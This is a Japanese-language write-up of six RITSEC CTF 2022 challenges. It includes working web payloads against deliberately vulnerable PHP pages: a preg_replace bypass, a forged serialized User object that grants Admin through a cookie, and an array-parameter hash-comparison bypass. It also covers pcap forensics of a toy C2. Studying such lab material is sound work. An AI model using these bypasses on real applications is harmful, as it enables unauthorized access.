RITSEC CTF 2022 - Writeup
2022年4月1日, 16:00 UTC - 4月4日, 04:00 UTCに開催されたRITSEC CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で6問解いたので、以下にWriteupを記載する。
Web
Pretty Horrible Program 1
Bingus our beloved is found and he can never be replaced Author : BradHack3r https://ctf.ritsec.club/php1
指定されたURLへアクセスすると添付のようなフォーム画面が表示される。
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php1/index.php?source
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } define('APP_RAN', true); require('flag.php'); ?> <!DOCTYPE html> <head> <style> body { display: flex; flex-direction: column; align-items: center; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif; } code { color: orange; font-size: 2.5rem; } .title { font-weight: 500; } .title b { color: blue; } .answer code { font-size: 2rem; } </style> <title>PHP 1</title> </head> <body> <img src="/php1/praise_bingus.webp" width="300" /> <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>1</b></h1> <a href="/php1/index.php?source">View Source Code</a> <br /> <?php if (isset($_GET['bingus'])) { $input = $_GET['bingus']; $to_replace = 'bingus'; $clean_string = preg_replace("/$to_replace/", '', $input); echo "<p>Your string is: $clean_string</p>"; if ($clean_string == $to_replace) { echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>"; output_flag(); } else { echo "<h2 class=\"answer\">Bingus <span style=\"color: red;\">IS NOT</span> your beloved</h2>"; } } ?> <form method="get"> <input type="text" required name="bingus" placeholder="Gimme some input :)" /> <input type="submit" /> </form> </body>
以下の判定処理よりbingusのクエリストリングで渡したGETリクエストの値がpreg_replace関数で置換された後にbingus
の文字列と等しければflagが表示される。
if ($clean_string == $to_replace) { echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>"; output_flag();
bingus
の文字列が置換されて消えるためbinbingusgus
のように指定すれば条件に一致する。
つまり以下のURLでアクセスすればflagが表示される。
https://ctf.ritsec.club/php1?bingus=binbingusgus
flag : RS{B1ngus_0ur_B3lov3d}
Pretty Horrible Program 2
Bingus cereal 👀 duh Author : BradHack3r https://ctf.ritsec.club/php2
指定されたURLへアクセスすると添付のようなフォーム画面が表示される。
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php2/index.php?source
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } define('APP_RAN', true); require('flag.php'); if (!isset($_COOKIE['user'])) { $default_user = new User; $_COOKIE['user'] = serialize($default_user); setcookie( 'user', serialize($default_user), ); } if (isset($_POST['user'])) { setcookie( 'user', $_POST['user'], ); } ?> <!DOCTYPE html> <html> <head> <style> body { display: flex; flex-direction: column; align-items: center; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif; } hr { width: 50%; } code { font-size: 2rem; font-weight: 500; } .error { color: red; } .success { color: green; } .title { font-weight: 500; } .title b { color: blue; } .answer code { font-size: 2rem; } form { display: flex; flex-direction: column; align-items: center; } </style> <title>PHP 2</title> </head> <body> <img src="/php2/meme.jpeg" width="300" /> <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>2</b></h1> <?php class User { public $role = 'User'; public function is_admin() { if ($this->role == 'Admin') { return true; } else { return false; } } public function __sleep() { return array($this->role); } } ?> <?php if (isset($_COOKIE['user'])) { echo "<p>Output:<br/>" . $_COOKIE['user'] . '</p>'; } else { echo 'Please provide some input.'; } ?> <?php if (isset($_COOKIE['user'])) { try { $user = unserialize($_COOKIE['user']); if ($user->is_admin()) { echo '<h3 class="success">Welcome Admin</h3>'; output_flag(); } else { echo '<h3 class="error">Not Admin</h3>'; } } catch (Error $e) { echo '<h2 class="error">Uh oh, ur input was <code>cringe</code></h2>'; } } ?> <hr /> <form action="/php2/index.php" method="post"> Serialized User: <input type="text" name="user"><br> <input type="submit"> </form> <a href="/php2/index.php?source">View Source Code</a> </body> </html>
以下の判定処理よりcookieにセットされたO:4:"User":1:{s:4:"User";N;}
のシリアル化された値を改変して is_admin()のrole == 'Admin'をセットできればflagが表示される。
public function is_admin()
{
if ($this->role == 'Admin') {
return true;
} else {
return false;
}
シリアライズされた値の確認
O:4:"User":1:{s:4:"User";N;}
↓
object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "User" ["User"]=> NULL }
User(4文字)のObjectがあり、その中にUser(4文字)のstring型の要素が1つ構成されている。User要素の値はNullが設定されている。
この中にrole(4文字)という要素を追加して、Admin(5文字)の値をセットする。(つまり要素は2つで構成されることになる。)
※PHPのシリアライズ形式については以下のURLが参考になる。 phpinternalsbook-ja.com
※安全でないデシリアライゼーションの考え方は以下の大変ありがたいURLを参照するとよいでしょう。 blog.tokumaru.org
O:4:"User":2:{s:4:"User";N;s:4:"role";s:5:"Admin";}
↓
object(__PHP_Incomplete_Class)#1 (3) { ["__PHP_Incomplete_Class_Name"]=> string(4) "User" ["User"]=> NULL ["role"]=> string(5) "Admin" }
cookieの値(user)はURLエンコードされているので作成したシリアル化された値をURLエンコードする。
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22User%22%3BN%3Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D
この値をCookieのuserにセットしてサイトへアクセスするとflagが表示される。
flag : RS{C3re4l_B1ngu5}
Pretty Horrible Program 3
Well, better get cracking I guess Author : BradHack3r https://ctf.ritsec.club/php3
指定されたURLへアクセスすると添付のようなフォーム画面が表示される。
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php3/index.php?source=true
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } define('APP_RAN', true); require 'flag.php'; ?> <!DOCTYPE html> <html> <head> <style> body { display: flex; flex-direction: column; align-items: center; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif; text-align: center; } hr { width: 50%; } code { font-size: 2rem; font-weight: 500; } .error { color: red; } .success { color: green; } .title { font-weight: 500; } .title b { color: blue; } .answer code { font-size: 2rem; } form { display: flex; flex-direction: column; align-items: center; } </style> <title>PHP 3</title> </head> <body> <img src="/php3/drippy_bingus.jpeg" width="300" /> <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>3</b></h1> <?php if (isset($_GET['input1']) and isset($_GET['input2'])) { if ($_GET['input1'] == $_GET['input2']) { print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>'; } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) { output_flag(); } else { print '<h3 class="error">Your inputs don\'t match</h3>'; } } ?> <p>See if you can make the sha256 hashes match</p> <br /> <a href="/php3/index.php?source=true">Source Code</a> <form method="get"> <input type="text" required name="input1" placeholder="Input 1" /> <p>Hash: <?php if (isset($_GET['input1'])) print hash("sha256", $_GET['input1']) ?></p> <input type="text" required name="input2" placeholder="Input 2" /> <p>Hash: <?php if (isset($_GET['input2'])) print hash("sha256", $_GET['input2']) ?></p> <input type="submit" /> </form> </body> </html> <?php
以下の判定処理より緩やかな一致では等しくないが、厳密な一致では等しい値をinput1とinput2のGETリクエストで渡すとflagが表示される。
if (isset($_GET['input1']) and isset($_GET['input2'])) { if ($_GET['input1'] == $_GET['input2']) { print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>'; } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) { output_flag(); } else { print '<h3 class="error">Your inputs don\'t match</h3>'; }
既知の内容でsha256 collision php
で調べると文献がある。
https://stackoverflow.com/questions/53080807/sha256-hash-collisions-between-two-strings/53081240
配列の形式ではbypassできるとのこと
以下URLでフォーム上はエラーになるがflagが表示される。
https://ctf.ritsec.club/php3?input1[0]=1&input2[1]=1
flag : RS{Th3_H@sh_Sl1ng1ng_5lash3r}
Down the Data Streams
Can you find it? <br> Some brute-forcing is allowed. <br> Directories are found on the first page https://ctf.ritsec.club/data-streams
指定されたURLへアクセスすると以下のメッセージが表示される。
Start: /6610e477ddefc14511cc4f261c3c608d.txt
以下のURLへアクセスすると数列が表示される。
https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt
[0, '89504e470d0a1a0a0000000d49484452'] f1c0647234d033c43d05ed798f34d1af
表示された値を元に以下URLへアクセスする。
https://ctf.ritsec.club/data-streams/f1c0647234d033c43d05ed798f34d1af.txt
[11628, '419b79d96aac9743a332abc4d3f291d3'] 5728c2dc294629e33a44bb5b745f052c
なんとなく1列目がINDEX値、2列目がPNGバイト列(89 50 4e 47で始まるため)、3列目がファイル名と予想される。2列目のPNGバイト列を抽出して結合すればflagが表示されるはず。
普段はやらないプログラミングに挑戦してみる。試しに3回だけ取得する処理を実行する。
>>> import requests >>> r = requests.get('https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt') >>> png ='' >>> png = png + r.text >>> >>> for i in range(3): ... r = requests.get('https://ctf.ritsec.club/data-streams/'+r.text[-32:]+'.txt') ... png = png +'\n' + r.text ... i = i+1 ... >>> print(png) [0, '89504e470d0a1a0a0000000d49484452'] f1c0647234d033c43d05ed798f34d1af [11628, '419b79d96aac9743a332abc4d3f291d3'] 5728c2dc294629e33a44bb5b745f052c [9765, '9b9ffeecc7afbf716d776f1c7643cb8e'] 922371925a235b713156a23da7e8276d [3212, '38ab28f59e9028651377b9bb27f65399'] 0d069134327851a1be09b71f0f5d70ed >>>
成功しているようだ。全てのバイト列を取得する。(大体2時間ぐらいかかる。)
import requests r = requests.get('https://ctf.ritsec.club/data-streams/6610e477ddefc14511cc4f261c3c608d.txt') png ='' png = png + r.text for i in range(14421): r = requests.get('https://ctf.ritsec.club/data-streams/'+r.text[-32:]+'.txt') png = png +'\n' + r.text i = i+1
取得したpngバイト列をファイルに出力する。
>>> f = open('png.txt', 'w', encoding='UTF-8') >>> f.write(png) >>> f.close()
取得したファイルからExcelを駆使してPNG文字列を抽出したらcyberchefに投げて終わり。
flag : RS{81ngus5_w3b_53rvic3s}
Forensic
Bad C2
Not very versatile malware Author : degenerat3
添付ファイルのpcapファイルを確認するとhttpプロトコルにてC2サーバとやり取りしているログが確認できる。
やり取りされているC2サーバのIPアドレスはグローバルIPが利用されている。
41パケット目でJSON形式でPOSTリクエストを投げている。
上記のjson形式の設定にてfalseをtrueに変えてHTTPプロトコルでアクセスするとflagが表示される。
実際のC2サーバではhttps通信やC3連携(slackなど)で通信内容を秘匿するのでhttpで通信が漏洩するのがイケていない?
flag : RS{m4gic_word_is_4lw4ys_b31ng_p0lit3}
Cyber Survey
Lookin' like a Fujitsu FI-6800 Author : degenerat3
添付ファイルを確認するとTCPプロトコルの通信が確認できる。
Protocol階層でデータストリームを確認するとDataがあるので選択する。
宛先Portポート番号は全て40000のポート番号になっている。
40082 40083 40123 ・ ・
末尾の3桁の番号はなんとなくASCII文字っぽい。
>>> chr(82) 'R' >>> chr(83) 'S' >>> chr(123) '{'
むむむ...
宛先Port番号の末尾3桁をASCII文字にしたものがflagになる。
flag :RS{sc4ns_bett3r_than_4n_hp_d3skjet3755}
感想
・なぜ人は他にやらなければならないことが有るときほど、CTFが捗ってしまうのか。不思議だね。